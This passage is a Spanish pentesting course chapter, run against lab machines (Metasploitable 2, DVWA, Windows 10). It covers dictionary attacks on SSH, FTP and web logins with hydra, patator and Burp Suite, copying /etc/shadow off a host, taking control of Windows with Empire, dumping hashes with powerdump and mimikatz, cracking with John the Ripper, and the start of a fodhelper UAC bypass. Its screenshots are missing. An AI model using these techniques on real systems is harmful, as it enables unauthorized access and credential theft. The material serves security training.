Otro programa incluido en Kali Linux con el que podemos realizar transferencias de zona es
dig. Al igual que con nslookup, vimos como utilizar dig en el capítulo de recopilación de
información. Para usar dig, tenemos que saber el registro DNS que se utiliza para solicitar
una transferencia de zona. Es el registro AXFR. Luego hacemos una transferencia de zona
con dig:

Nuevamente si queremos guardar el contenido de la transferencia en un fichero, podemos


realizar una redirección:

y después ver el contenido del fichero. En este caso vemos las primeras 16 líneas del
fichero donde hemos guardado los datos:

370
Ataques contra crendenciales de usuario

Ataques contra credenciales de usuario


En esta sección vamos a ver como se pueden realizar ataques contra cuentas de usuario y
contraseña para intentar obtener unas credenciales válidas que o bien nos faciliten el
acceso a un sistema remoto o bien que nos proporcionen acceso a una cuenta con más
privilegios en el sistema o servicio que estemos auditando.

Metodología
Se recomienda seguir usando cherrytree para ir guardando las evidencias.

1. Breve introducción informal a los ataques contra credenciales de usuario


Tipos de ataques
Diccionarios
Credenciales por defecto

2. Ataques contra servicios online de forma activa


Ataque de diccionario contra SSH usando patator
Ataque de diccionario contra SSH usando hydra
Ataque de diccionario contra FTP usando patator
Ataque de diccionario contra FTP usando hydra
Ataque de diccionario contra formularios web usando Burp Suite

3. Almacenamiento de credenciales
Breve introducción informal al almacenamiento de credenciales en sistemas
GNU/Linux
Obteniendo las credenciales en sistemas GNU/Linux (/etc/shadow)
Breve introducción informal al almacenamiento de credenciales en sistemas
Windows
Breve introducción al framework Empire
Tomando el control de una máquina con Empire
Obteniendo los hashes de las contraseñas con el módulo credentials/powerdump
de Empire
Obteniendo las credenciales en sistemas windows usando Empire
Obteniendo las contraseñas de memoria con mimikatz desde Empire

4. Ataques offline - Cracking de contraseñas


Identificar el algoritmo de hash usado para almacenar la contraseña
hash-identifier

371
Ataques contra crendenciales de usuario

hashid
Cracking de contraseñas con John The Ripper
Cracking de contraseñas con Hashcat

Referencias usadas
1. Páginas web
Empire

Breve introducción informal a los ataques contra


credenciales de usuario
Como las credenciales de usuario nos permiten acceder a un sistema, suelen ser un
objetivo potencial para todas aquellas personas que deseen tener acceso, autorizado o no,
al sistema. Por eso es importante que las credenciales de acceso y, específicamente, las
contraseñas sean robustas. Es decir que, entre otros requisitos, cumplan:

Que combinen letras mayúsculas y minúsculas, números y símbolos como por ejemplo:
.,:@/|-_+*
Tener una longitud mínima de 24 caracteres unicode
Tener una política de cambio de contraseña cada cierto tiempo
Asegurarse que no se utiliza una contraseña que ya haya sido utilizada anteriormente
Que sea una secuencia lo más aleatoria posible
Si no se utilizase una secuencia aleatoria -lo más recomendable-, pueden seguirse
estrategias como utilizar la segunda letra de cada palabra de una frase intercalando
números, letras mayúsculas, minúsculas y símbolos.

Tipos de ataques
Existen distintos tipos de ataques que podemos realizar para conseguir las credenciales de
un usuario. En muchas ocasiones, el usuario lo hemos conseguido en la fase de
recopilación de información y sólo nos queda conseguir la contraseña. El temario especifíca
4 tipos de ataques que podemos realizar:

Ataques que no requieren conocimientos técnicos


Ingeniería social
Ataques a servicios online de forma activa
Ataques de diccionario
Ataques por fuerza bruta
Ataques a servicios online de forma pasiva

372
Ataques contra crendenciales de usuario

Realizando capturas de tráfico de red


Ataques offline
Cracking de contraseñas

Diccionarios
Si recordamos del tema de recopilación de información, en Kali Linux, por defecto, los
diccionarios se guardan en la siguiente ruta:

Uno de los más conocidos es [Link]. Primero tenemos que descomprimirlo usando el
comando gzip:

gzip -d [Link]

para poder usarlo:

Aparte de los que vienen incluidos en Kali, podemos encontrar otros en internet como los
que proporciona SecList:

373
Ataques contra crendenciales de usuario

Credenciales por defecto


Muchas empresas dejan configuradas credenciales por defecto en sus productos. Existen
páginas que guardan estas credenciales por defecto como, por ejemplo, CIRT:

374
Ataques contra crendenciales de usuario

Este tipo de páginas pueden ser muy útiles cuando se realiza un ataque de diccionario.

Ataques contra servicios online de forma activa


En los ataques contra servicios que esten online vamos a ir probando credenciales hasta
que demos con una que sea válida. Normalmente intentaremos conseguir algún usuario en
la fase de recopilación de información y después intentar adivinar la contraseña usando un
diccionario o por fuerza bruta. Aunque no se recomienda, si no encontrasemos un usuario
válido, también podríamos realizar un ataque de diccionario o fuerza bruta para averiguar el
usuario. Como vemos los modos de atacar son:

Fuerza bruta
Diccionario

El ataque por fuerza bruta prueba todas las permutaciones posibles de los símbolos que le
indiquemos hasta que de con el usuario o contraseña. Es un método muy lento a no ser que
la contraseña sea muy corta. En un ataque de diccionario creamos una lista (diccionario) de
palabras que creemos que pueden ser la contraseña. Existen muchos servicios online
contra los que podemos lanzar un ataque. Algunos de ellos son:

SSH
FTP

375
Ataques contra crendenciales de usuario

Aplicaciones Web

Ataque de diccionario contra SSH usando patator


Tras descubrir un servicio SSH en la fase de recopilación de información:

Vamos a ver como realizar un ataque de diccionario con el programa patator. Este
programa ya le utilizamos para lanzar ataques de diccionario con el fin de enumerar los
usuarios a través de SMTP. Para saber el módulo de patator que debemos utilizar,
escribimos patator para listar los módulos y ver cuál es el módulo para ssh:

y una vez localizado el módulo, para saber como usarlo, escribimos patator seguido del
nombre del módulo. En ese caso patator ssh_login:

376
Ataques contra crendenciales de usuario

Vemos que para poder lanzar el ataque debemos indicarle:

host => máquina a la que queremos atacar


user => el usuario para el que vamos a intentar adivinar la contraseña
password => para indicarle el listado (diccionario) de posibles contraseñas

Creamos una lista (diccionario) de posibles contraseñas usando cualquier editor de texto.
En este caso usamos el editor vim:

para crear la lista:

y lanzamos patator usando el usuario msfadmin que descubrimos en la fase de recopilación


de información. Sabiendo que la máquina metasploitable 2 esta en la dirección
([Link]), el commando es:

patator ssh_login host=[Link] user=msfadmin password=FILE0


0=contraseñas_a_comprobar.txt

377
Ataques contra crendenciales de usuario

Vemos que patator va comprobando todas las contraseñas y nos informa de la que
funciona. En este caso msfadmin. Como hicimos al enumerar a través del protocolo SMTP,
podemos ignorar las contraseñas no válidas usar la opción -x ignore:. En este caso
usariamos -x ignore:mesg='Authentication failed.'. El comando completo es:

patator ssh_login host=[Link] user=msfadmin password=FILE0


0=contraseñas_a_comprobar.txt -x ignore:mesg='Authentication failed.'

y como vemos sólo nos mostraría la contraseña válida. Podemos comprobar que la
contraseña es válida conectandonos por ssh a la máquina usando el usuario msfadmin:

y la contraseña msfadmin:

Una vez conectados podemos ejecutar algún comando como whoami:

378
Ataques contra crendenciales de usuario

Ataque de diccionario contra SSH usando hydra


Vamos a ver como realizar el mismo ataque usando el programa hydra. Para saber cómo
utilizarlo, hacemos lo mismo que hicimos con el programa patator. Tecleamos hydra y
pulsamos intro para que nos muestre algún ejemplo:

vemos que algunas de las opciones interesantes son:

-l {username} para pasarle el usuario


-L {ficheroConUsuariosAProbar} para pasarle un diccionario (fichero) con los
usuarios que queramos comprobar
-p {contraseña} para pasarle el usuario
-P {ficheroConContraseñasAProbar} para pasarle un diccionario (fichero) con las
contraseñas que queramos comprobar
-s {NúmeroDePuerto} para indicarle el puerto en el que esta el servicio contra el que

379
Ataques contra crendenciales de usuario

queremos lanzar el ataque

En este caso, realizaremos un ataque de diccionario contra el servicio ssh. Usaremos el


usuario msfadmin y le pasaremos un fichero con las posibles contraseñas:

hydra -l msfadmin -P contraseñas_a_comprobar.txt ssh://[Link]

Vemos que nos muestra el usuario y contraseña correcta.

Ataque de diccionario contra FTP usando patator


Patator puede usarse para lanzar ataques de diccionario contra multiples servicios. En la
fase de recopilación de información también encontramos 2 servidores FTP:

Vamos a realizar un ataque de diccionario contra el servicio FTP en el puerto 21. En este
caso vamos a usar 2 diccionarios:

uno para los usuarios


otro para las contraseñas

El diccionario (fichero) de contraseñas ya lo tenemos creado. Creamos uno de usuarios


usando cualquier editor de texto:

y añadimos los usuarios que queramos comprobar:

380
Ataques contra crendenciales de usuario

Una vez creados el diccionario, para saber el módulo de patator que debemos utilizar,
escribimos patator para listar los módulos y ver cuál es el módulo para ftp:

y una vez localizado el módulo, para saber como usarlo, escribimos patator seguido del
nombre del módulo. En ese caso patator ftp_login:

Vemos que el modo de uso es, prácticamente, igual al del módulo de ssh. Para poder lanzar
el ataque debemos indicarle:

host => máquina a la que queremos atacar


user => para indicarle el listado (diccionario) de posibles usuarios

381
Ataques contra crendenciales de usuario

password => para indicarle el listado (diccionario) de posibles contraseñas

El comando es:

patator ftp_login host=[Link] user=FILE0 password=FILE1 0=[Link]


1=contraseñas_a_comprobar.txt

Vemos como patator va comprobando cada una de las contraseñas para cada usuario y
vemos que, el usuario msfadmin y la contraseña msfadmin son credenciales válidas para
acceder al servidor FTP. Como en ejemplo anteriores, para filtrar los resultados de patator
podemos usar la opción -x ignore. Por ejemplo, le podemos decir que ignore los códigos
530 ya que son intentos de login fallidos:

patator ftp_login host=[Link] user=FILE0 password=FILE1 0=[Link]


1=contraseñas_a_comprobar.txt -x ignore:code=530

Una vez obtenidas las credenciales podemos comprobar que tenemos acceso al servicio.
Para ello, por ejemplo, podemos usar el programa telnet:

382
Ataques contra crendenciales de usuario

Le indicamos nuestro usuario con el comando USER:

A continuación le indicamos la contraseña con el comando PASS:

y ya estamos dentro:

Ataque de diccionario contra FTP usando hydra


También podemos realizar el mismo ataque usando hydra. En este caso, también le
pasamos a hydra el fichero de usuarios ([Link]) y fichero de contraseñas
(contraseñas_a_comprobar.txt):

hydra -L [Link] -P contraseñas_a_comprobar.txt [Link]

383
Ataques contra crendenciales de usuario

En el resultado vemos que nos vuelve a encontrar al usuario msfadmin y la contraseña


msfadmin.

Ataque de diccionario contra formularios web usando Burp


Suite
Tras descubrir un servidor web en la fase de recopilación de información:

Accedemos a el servicio usando un navegador web como Firefox y hacemos click sobre
DVWA:

Nos logamos en la aplicación con las siguientes credenciales:

Username: admin
Password: password

384
Ataques contra crendenciales de usuario

A continuación hacemos click en el botón DVWA Security de la barra lateral izquierda:

Seleccionamos Low en el desplegable:

385
Ataques contra crendenciales de usuario

y pulsamos el botón Submit:

Ahora hacemos click en el botón Brute Force en la barra lateral izquierda:

Para ver el formulario sobre el que haremos el ataque de diccionario:

386
Ataques contra crendenciales de usuario

Una vez en la página del formulario, vamos a seguir los mismos pasos que en el capítulo de
recopilación de información para activar Burp Suite, para ello, desplegamos el menú de
opciones en Firefox y seleccionamos Preferences:

A continuación pulsamos el botón Settings... dentro de la pestaña Network de la sección


Advanced:

387
Ataques contra crendenciales de usuario

Cumplimentamos las opciones como se ve en la siguiente imagen y pulsamos el botón OK:

Después ejecutamos burp:

388
Ataques contra crendenciales de usuario

Pulsamos el botón Next para continuar:

Finalmente pulsamos el botón Start Burp para iniciar Burp Suite:

Cuando se inicie burp, pulsamos en la pestaña Proxy y después en la pestaña Options. En


las opciones activamos "Incercept responses based on the following rules" para que que el
proxy de burp intercepte las respuestas http del servidor antes de mostrarlas en el
navegador:

389
Ataques contra crendenciales de usuario

Después hacemos click en la pestaña Intercept y nos aseguramos que el botón tiene el
texto:

Intercept is on

Volvemos a Firefox. Metemos el usuario y contraseña que queramos en formulario y


pulsamos el botón Login:

Volvemos a burp y veremos que la petición http que ha hecho el navegador ha sido
capturada. Pulsamos el botón Forward para continuar:

390
Ataques contra crendenciales de usuario

Volvemos a hacer click en el botón Forward:

para que la respuesta del servidor llegue a nuestro navegador:

391
Ataques contra crendenciales de usuario

Vemos que las credenciales no existen -a no ser que hayamos tenido mucha suerte- y nos
aparece el mensaje de login failed. Vamos a usar burp intruder para lanzar un ataque de
diccionario contra el usuario y la contraseña. Para ello, seleccionamos la petición HTTP que
nos ha dado la respuesta del servidor en la pestaña HTTP history y hacemos click con el
botón derecho del ratón para desplegar el menú de opciones. Seleccionamos la opción
Send to Intruder:

Hacemos click en la Pestaña Intruder y después en la pestaña Positions:

Seleccionamos Cluster bomb en el menú desplegable Attack Type:

392
Ataques contra crendenciales de usuario

Pulsamos el botón Clear:

para desmarcar todos los valores de los parámetros marcados en naranja:

Ahora seleccionaremos los valores de los parámetros sobre los que queremos hacer fuerza
bruta. Hacemos doble click sobre el valor del parámetro username y pulsamos el botón Add:

393
Ataques contra crendenciales de usuario

A continuación, hacemos doble click en el parámetro password y colvemos a pulsar el botón


Add:

Una vez añadidos los parámetros, pulsamos el botón Payloads:

Dejamos las opciones que vienen por defecto en la sección Payload Sets:

Payload set: 1

394
Ataques contra crendenciales de usuario

Payload type: Simple list

y en la sección Payload Options [Simple list] vamos añadiendo usuarios a la lista.


Escribimos un usuario y hacemos click en el botón Add:

Hacemos lo mismo por cada usuario que queramos añadir. Por ejemplo, añadimos otro
usuario que se llame admin:

395
Ataques contra crendenciales de usuario

Una vez especificados los usuarios que queremos probar, seleccionamos el número 2 en el
menú desplegable Payload type: para indicar las contraseñas que queremos probar para
cada usuario que hemos definido en el punto anterior:

En este caso, en vez ir añadiendo las contraseñas que queremos probar una a una,
utilizaremos un fichero (diccionario) con las contraseñas a probar. Para ello, seleccionamos
Runtime file del menú desplegable Payload type:

396
Ataques contra crendenciales de usuario

Ahora pulsaremos el botón Select File... para seleccionar el fichero (diccionario) donde
tenemos la lista de contraseñas:

Seleccionamos el fichero y pulsamos el botón Open:

Una vez seleccionado el fichero, pulsamos sobre la pestaña Options:

397
Ataques contra crendenciales de usuario

y en la sección Grep - Extract activamos la opción Extract the following from responses: y
pulsamos el botón Add:

Seleccionamos el texto de error que muestra cuando las credenciales son incorrectas y
pulsamos el botón OK:

398
Ataques contra crendenciales de usuario

Ya podemos lanzar el ataque de diccionario contra el usuario y la contraseña pulsando el


botón Start Attack:

Si tenemos la versión gratuita de burp nos aparecerá el siguiente mensaje. Pulsamos el


botón OK:

399
Ataques contra crendenciales de usuario

y vemos como va probando todas las contraseñas para cada uno de los usuarios y, en la
única donde no hay mensaje de error, es la que nos indica el usuario y contraseña correcto:

Almacenamiento de credenciales
En esta sección vamos a coger las credenciales para poder en la siguiente sección
crackearlas. A no ser qué tengamos mucha suerte y podamos obtener las contraseñas por
medios públicos o mediante ingeniería social, en la mayoría de las ocasiones, podremos

400
Ataques contra crendenciales de usuario

obtener las contraseñas de todos los usuarios de un sistema cuando hayamos accedido al
sistema y hayamos escalado privilegios. En esta sección se supone que ya hemos accedido
al sistema y tenemos el máximo privilegio. Vamos a ver cómo obtener las contraseñas en
sistemas GNU/Linux y en sistemas Windows.

Breve introducción informal al almacenamiento de


credenciales en sistemas GNU/Linux
Aunque en algún sistema GNU/Linux antiguo, las contraseñas se guardasen en texto plano
en el fichero passwd que podemos encontrar en la ruta: /etc/passwd. En los sistemas
GNU/Linux actuales, los usuarios se guardan en ese fichero passwd (/etc/passwd) y los
hashes de las contraseñas se guardan en un fichero que se llama shadow que podemos
encontrar en la siguiente ruta: /etc/shadow. Para leer el fichero shadow (/etc/shadow) se
necesitan permisos de superusuario.

Obteniendo las credenciales en sistemas GNU/Linux


(/etc/shadow)
Como no podemos copiarnos directamente el fichero /etc/shadow, vamos a realizar una
copia de ese fichero y después nos lo descargaremos. Primero lo descargaremos de la
máquina metasploitable 2 que es una distribución de GNU/Linux antigua y después los
descargaremos de la máquina virtual de ubuntu server 16.04.3 LTS. Ya que tenemos las
claves de acceso para la máquina metasploitable, nos conectamos por ssh:

Una vez dentro, copiamos el contenido a un fichero para poder descargarnoslo desde Kali
Linux. Para ello ejecutamos el comando sudo para lanzar el comando cat con privilegios de
superusuario y poder leer el fichero /etc/shadow. El contenido del fichero lo guardamos en
un fichero de texto:

sudo cat /etc/shadow > contraseñas_metasploitable2

401
Ataques contra crendenciales de usuario

Una vez creado el fichero, salimos de la sesión ssh usando el comando exit:

Ahora podremos descargar el fichero usando, por ejemplo, el programa scp. Para ello
debemos indicarle como primer argumento la ruta donde está el fichero que queremos
descargar. En este caso queremos el fichero contraseñas_metasploitable2 que está en la
carpeta home del usuario msfadmin. Como segundo argumento debemos indicar dónde
queremos copiarlo. En este caso la carpeta actual. Por lo que ejecutaríamos el comando de
la siguiente forma:

scp msfadmin@[Link]:~/contraseñas_metasploitable2 .

Comprobamos que se ha descargado correctamente, leyendo las primeras 13 líneas del


archivo:

Una vez descargado el fichero, podemos borrarlo de metasploitable:

402
Ataques contra crendenciales de usuario

Para descargar los hashes de la máquina virtual de ubuntu server, creamos un fichero con
el contenido del fichero /etc/shadow:

Copiamos ese fichero a la máquina metasploitable 2 usando scp (secure copy):

Finalmente, descargamos el fichero en Kali Linux:

y, como en el caso anterior, una vez descargado el fichero, lo borramos de metasploitable:

403
Ataques contra crendenciales de usuario

Breve introducción informal al almacenamiento de


credenciales en sistemas Windows
Pendiente de desarrollar Las constraseñas en windows se almacenan en el fichero (base
de datos) SAM.

Breve introducción al framework Empire


Empire es un framework, que usa python y powershell, que nos va a ser útil tras haber
ganado acceso a un sistema. Algunas partes importantes del framework son:

listeners Nos van a permitir poner un servicio a la escucha en un puerto determinado


para que otro equipo (víctima) se conecte a él. Por ejemplo, en un sistema windows
que hayamos comprometido ejecutamos un comando en powershell (launcher/stager)
para que se conecte al listener que hemos dejado a la escucha.
stagers Son un conjunto de macros, librerias dinámicas y scripts que podemos utilizar
para establecer conexión con el equipo comprometido. Por ejemplo, un script de
powershell que conecte la máquina en la que se ejecute a un listener
agents Son las máquinas comprometidas de las que tenemos el control
modules Son todos los comandos y scripts que se pueden ejecutar en la máquina
comprometida. Por ejemplo hay scripts que realizan capturas de pantalla o que pueden
encender una cámara web.
scripts Son los scripts que podemos crear nosotros para expandir el framework

El primer paso es instalarlo en Kali Linux. Para ello accedemos al repositorio del framework
Empire en github. Pulsamos sobre el botón verde con letras blancas Clone or download y
copiamos la url:

404
Ataques contra crendenciales de usuario

Clonamos el repositorio:

Accedemos a la carpeta Empire:

Después accedemos a la carpeta setup:

y lo instalamos ejecutando el fichero [Link]:

405
Ataques contra crendenciales de usuario

La instalación se pausará cuando llegue a la frase en amarillo. Pulsamo intro para


continuar:

Una vez instalado, volvemos un directorio atrás:

Ejecutamos empire:

406
Ataques contra crendenciales de usuario

Tras iniciarse, veremos el promtp de Empire:

Para ver la lista de comandos que podemos ejecutar, podemos usar el comando help:

407
Ataques contra crendenciales de usuario

Tomando el control de una máquina con Empire


Lo primero que vamos a hacer es crear un listener para crear un servicio que este a la
escucha para que la máquina que comprometamos se pueda conectar a ese servicio. Para
ello, ejecutamos el comando listeners. Veremos que el prompt cambia y entramos en las
opciones para listeners:

Si quisieramos volver al menú anterior, podemos ejecutar el comando back en cualquier


momento. Desde el prompt de listeners, ejecutamos tecleamos help y pulsamos intro para
ver todos los comandos que podemos ejecutar relativos a los listeners:

408
Ataques contra crendenciales de usuario

Para crear un listener (servicio a la escucha), usamos el comando uselistener. Vamos a


crear un servicio web a la escucha a través del protocolo http. Para ello, usamos el
comando:

uselistener http

Vemos que el promtp cambia de nuevo. Para ver las opciones que podemos configurar del
servicio que pondremos a la escucha, podemos ejecutar el comando info para que nos
muestre la información:

Para cambiar las opciones, usaremos el comando set. Por ejemplo, cambiamos de nombre
al listener usando:

409
Ataques contra crendenciales de usuario

set Name credencialesWindows

Si volvemos a ejecutar info veremos que el nombre ha cambiado:

Una vez que hemos configurado las opciones que queramos, lo ejecutamos con el comando
execute. En este caso, salvo el nombre del servicio, hemos dejado todo por defecto:

Podemos ver que el listener esta a la escucha ejecutando el comando listeners:

Una vez que tenemos el listener (servicio) a la escucha, tenemos que crear un launcher. Un
launcher es un script que vamos a crear para ejecutarlo en la máquina que queremos que
se conecte al servicio (listener) que tenemos a la escucha. Los launchers podemos crearlos
en python o en powershell. En este caso, como vamos a usarlo en una máquina windows,

410
Ataques contra crendenciales de usuario

usamos powershell. Para crear el launcher debemos usar el comando launcher seguido del
lenguaje de scripting (python o powershell) y el nombre del servicio al que queremos que se
conecte. En este caso:

launcher powershell credencialesWindows

Copiamos el script y, por ejemplo, en la máquina de windows 10 abrimos el interprete de


comandos con permisos de administrador:

411
Ataques contra crendenciales de usuario

Aceptamos la advertencia:

Ejecutamos el comando de powershell:

412
Ataques contra crendenciales de usuario

y en Kali Linux veremos que se conecta a nuestro listener (servicio):

Pulsamos intro y ejecutamos el comando back para volver al menú principal:

para volver a la pantalla principal donde podremos ver que tenemos un agent activo:

413
Ataques contra crendenciales de usuario

Si recordáis de la introducción un agent es una máquina que esta bajo control. El script de
powershell ejecutado en la máquina windows 10, está en memoria, lo que lo hace mucho
más difícil de detectar que si hubiese creado algún fichero. Ahora que hemos tomado el
control de la máquina (agent), vamos a ver cómo interactuar con ella y ejecutar comandos

Obteniendo los hashes de las contraseñas con el módulo


credentials/powerdump de Empire
Ejecutamos el comando agents para ver los agentes (máquinas bajo nuestro control) que
tenemos y poder acceder a interactuar con ellos. Vemos que aparte de mostrarnos la
información, el prompt cambia:

El número de proceso (5724) de powershell es todo lo que el usuario verá si lista las tareas
en el equipo. Podemos cambiar el nombre que asigna automáticamente al agente por otro
que nos sea más fácil recordar usando el comando rename:

rename GEU9T3MP win10creds

Para interactuar con la máquina comprometida (agente), utilizamos el comando interact


seguido del nombre del agente:

Para ver todos los comandos que podemos ejecutar en el agente, usamos el comando help:

414
Ataques contra crendenciales de usuario

Para extraer los hashes de las contraseñas vamos a usar el modulo de powershell
credentials/powerdump. Si recordáis de la introducción, los modules son todos los
comandos y scripts -en este caso vamos a usar uno de powershell- que podemos utilizar en
el agente (máquina comprometida). Para usar un módulo, tecleamos el comando
usemodule seguido del nombre del módulo que queramos usar. En este caso:

usemodule credentials/powerdump

Podemos ver la información del módulo usando el comando info. Entre las opciones hay
una a la que debemos prestar atención que es OpsecSafe. Si el valor de esta opción es
True, significa que el usuario no tendrá constancia que hemos ejecutado el comando:

415
Ataques contra crendenciales de usuario

Para ejecutar el módulo, teclamos execute y pulsamos intro. Vemos que nos muestra los
hashes de todos los usuarios:

Estos hashes son los que en la siguiente sección crackearemos.

Obteniendo las contraseñas de memoria con mimikatz


desde Empire
En vez hashes, lo que se suele intentar es extraer de memoria las contraseñas usando
mimikatz desde Empire. En sistemas operativos anteriores a windows 10, en muchas
ocasiones podremos extraer las contraseñas en texto plano, pero en windows 10, sólo

416
Ataques contra crendenciales de usuario

obtendremos los hashes. ·Ejecutamos el comando back para salir del módulo en el que
estamos:

Tecleamos el comando mimikatz para ejecutarlo:

Una vez hayamos terminado de interactuar con el agente (máquina comprometida),


podemos ejecutar el comando back para volver al prompt de agents:

Cuando queramos liberar un agente (máquina comprometida), desde el prompt usaremos el


comando remove seguido del nombre del agente a borrar:

Una vez borrado, veremos que si listamos los agentes con el comando list ha desaparecido:

417
Ataques contra crendenciales de usuario

Una vez liberados todos agents (máquinas comprometidas) conectados al servicio (listener)
http que creamos, podemos también eliminar el listener (servicio). Para ello ejcutamos el
comando back para ir al menú principal:

Desde el menú principal podemos acceder a los listeners:

Para eliminarlo, usaremos el comando kill seguido del nombre del listener (servicio):

Si ejecutamos el comando list, comprobaremos que se ha borrado:

Ataques offline - Cracking de contraseñas

Identificar el algoritmo de hash usado para almacenar la


contraseña
Existen programas que nos pueden ayudar a identificar el tipo de hash que se está usando
para almacenar una contraseña. Esto puede ser muy útil para cuando más adelante
intentemos crackearla. Vamos a ver dos programas:

hash-identifier

418
Ataques contra crendenciales de usuario

hashid

Yo recomiendo usar hashid porque, en mi experiencia, los resultados han sido más fiables.

hash-identifier

El programa hash-identifier nos puede ayudar a saber qué algoritmo de hashing,


probablemente, se esté usando. No es 100% fiable pero es bastante aproximado. Para
utilizarlo, primero copiamos el hash. En este primer ejemplo copiamos el hash del usuario
msfadmin de la máquina metasploitable (distribución antigua):

después tecleamos hash-identifier y pulsamos intro. Pegamos el hash y pulsamos intro para
que nos indique el tipo de hash:

en este caso, al ser una distribución antigua de GNU/Linux, vemos que se está usando MD5
que muy inseguro. Si probamos con la máquina de ubuntu server, veremos que nos indica
que se esta usando SHA256 cuando no es cierto porque usa SHA512 pero, aunque menos
seguro, es aproximado:

419
Ataques contra crendenciales de usuario

hashid

Es otro programa que podemos utilizar para saber qué tipo de hash se está usando. El
modo de uso es practicamente igual. Listamos los hashes, tecleamos hashid y pulsamos
intro:

Ahora pegamos el hash del usuario msfadmin de la máquina metasploitable 2 y pulsamos


intro para ver que es un MD5:

A continuación hacemos lo mismo para el usuario user de la máquina ubuntu server para
ver que es SHA512:

Cracking de contraseñas con John The Ripper


Uno de los programas clásicos que podemos usar para crackear contraseñas es John the
ripper. Ejecutamos el comando john para ver como utilizarlo:

420
Ataques contra crendenciales de usuario

Como vemos, el formato de uso es:

john {opciones} archivo_contraseñas

La forma más sencilla de usarlo es teclear john y pasarle como argumento el archivo de
contraseñas:

Para ver las contraseñas una vez crackeadas, podemos pasarle a john la opción --show:

Para ver los formatos que john puede crackear podemos usar la opción --list con el valor
formats:

421
Ataques contra crendenciales de usuario

Si sabemos el formato del hash, el crackeo será más eficiente. Podemos indicarle a john en
qué formato están los hashes usando la opción --format:

No tenemos que esperar a qué john termine de crackear todas las contraseñas para ver los
resultados. Podemos ver los que ya ha crackeado, leyendo el archivo [Link] que se
encuentra en la ruta ~/.john/[Link]:

422
Tras ganar acceso

Fase de post-exploitation en Windows


(tras ganar acceso al sistema)
En la fase de post-explotación se mostrarán algunas técnicas que podemos aplicar tras
haber comprometido un activo.

NOTA
Antes de comenzar, por favor, aplicar la configuración de pivoting que se describe en el
capítulo de las máquinas virtuales

Metodología
Se recomienda seguir usando cherrytree para ir guardando las evidencias.

1. Escalación de privilegios
Usando el fichero [Link] para escalar privilegios paso a paso
Usando el fichero [Link] para escalar privilegios desde el módulo
bypassuac_fodhelper de empire

2. Ejecutar programas
Ejecutando comandos tras ganar acceso desde empire
Transferiendo la sesión de empire a metasploit
Ejecutando comandos desde metasploit
Ganando persistencia con el script persistence de metasploit
Pivoting con metasploit
Pivoting con proxychains levantando un servidor proxy con metasploit

3. Esteganografía
Esteganografía con steghide
Esteganografía usando servicios online

Referencias usadas
1. Páginas web
Empire

423
Tras ganar acceso

Manisfest files
Fileless UAC bypass [Link]

Escalación de privilegios
Aparte de los métodos incluidos en el temario y las prácticas, vamos a ver cómo escalar
privilegios usando ficheros ejecutables que elevan privilegios sin consultar al usuario:

Usando el fichero [Link] para escalar privilegios


paso a paso
En la mayoría de sistemas operativos hay programas que deben ser ejecutados por
usuarios sin privilegios pero que, debido a las acciones que realizan, necesitan permisos de
administrador. Muchos de estos programas funcionan del siguiente modo:

1. Son ejecutados por usuarios sin privilegios en el sistema operativo


2. El programa eleva privilegios para poder realizar su función
3. Tras realizar la función que requería permisos de administrador, el programa finaliza su
ejecución

El programa [Link] es uno de ellos:

Vamos a entender de manera informal cómo funciona este fichero y después que
entendamos cómo funciona, lo vamos a usar para escalar privilegios. Para estudiar el
comportamiento de los procesos (programas en ejecución), muchas veces necesitamos
usar programas que necesitan privilegios de administrador luego, normalmente, se estudia
el comportamiento del programa en un ordenador aparte y luego se aplican los
conocimientos en equipo objetivo. Comenzamos descargando el programa sigcheck desde
windows sysinternals. Desde la web hacemos click en Download Sigcheck:

424
Tras ganar acceso

Descomprimimos el archivo, y accedemos a la carpeta donde lo hemos descomprimido


desde la línea de comandos:

Lo ejecutamos pasandole como argumento el archivo del que queremos obtener


información. En este caso queremos obtener información del archivo [Link] que se
encuentra en la carpeta System32 dentro de la carpeta Windows. Para ello, ejecutamos el
comando sigcheck seguido de la ruta donde se encuentra el fichero:

sigcheck %windir%\system32\[Link]

La primera vez que ejecutemos el programa, nos solicitará que aceptemos los términos y
condiciones. Si estamos de acuerdo, pulsamos OK para poder ejecutar el programa y
analizar el fichero:

425
Tras ganar acceso

Tras ejecutarlo sin haberle pasado opciones, nos muestra información básica sobre el
fichero:

Entre otros vemos que se trata de un archivo firmado digitalmente por Microsoft y la fecha
de la firma. Vamos a ver el archivo manisfest que acompaña a este binario. Grosso modo,
los archivos manisfest son ficheros en formato xml que nos pueden aportar información muy
útil sobre el ejecutable como, por ejemplom si puede autoelevar privilegios. Para ver el
archivo manifest asociado a este binario, usamos la opción -m del programa sigcheck:

sigcheck -m %windir%\system32\[Link]

426
Tras ganar acceso

Vemos que el archivo requiere permisos de administrador y que la propiedad autoElevate


está activada. Que esta propiedad esté activada significa que el binario tiene permisos para
elevar privilegios sin necesidad de preguntar al usuario. Normalmente, gracias al
mecanismo UAC del sistema operativo windows, los programas que quieren elevar
privilegios, preguntan primero al usuario para que lo autorice. Sin embargo si la propiedad
autoElevate está activada, no preguntan al usuario y directamente elevan privilegios para
realizar su tarea. Es decir, se saltan (bypass) el mecanismo de seguridad UAC del sistema
operativo windows.

Ya que sabemos que el fichero [Link] eleva privilegios en el sistema operativo sin
consultar al usuario, vamos a observar qué acciones realiza el programa [Link]
cuando se ejecuta. Para ello, vamos a utilizar otro programa de windows sysinternals
llamado Process Monitor (procmon). Lo descargamos de la web oficial:

427
Tras ganar acceso

Process Monitor nos permite visualizar acciones que realiza un proceso (programa en
ejecución) como ver a qué archivos accede o ver qué claves del registro de windows
modifica. Una vez descomprimido, hacemos doble click para ejecutarlo:

428
Tras ganar acceso

Si estamos de acuerdo, aceptamos los términos y condiciones pulsando el botón Agree:

429
Tras ganar acceso

Le damos permiso para elevar privilegios:

430
Tras ganar acceso

Al abrirse, podremos ver una lista de los procesos y cada una de las acciones (Operations)
que realizan, como por ejemplo, acceder o modificar claves del registro de windows, leer
ficheros o crear threads:

431
Tras ganar acceso

Una vez abierto, ejecutamos [Link] haciendo doble click en el archivo:

para que Process Monitor pueda monitorizar la actividad del proceso. Como el programa
[Link] nos ayuda a gestionar características opcionales del sistema operativo,
cuando hagamos doble click sobre el archivo nos aparecerá la siguiente pantalla que,
simplemente, podemos ignorar:

432
Tras ganar acceso

Debido a que hay demasiada información, vamos a filtrar por acciones que este realizando
el proceso fodhelper. Para ello, seleccionamos la opción Filter... del menú desplegable
Filter:

Seleccionamos Process Name en el primer desplegable:

433
Tras ganar acceso

Tecleamos [Link] en el cuadro de texto y pulsamos el botón OK:

434
Tras ganar acceso

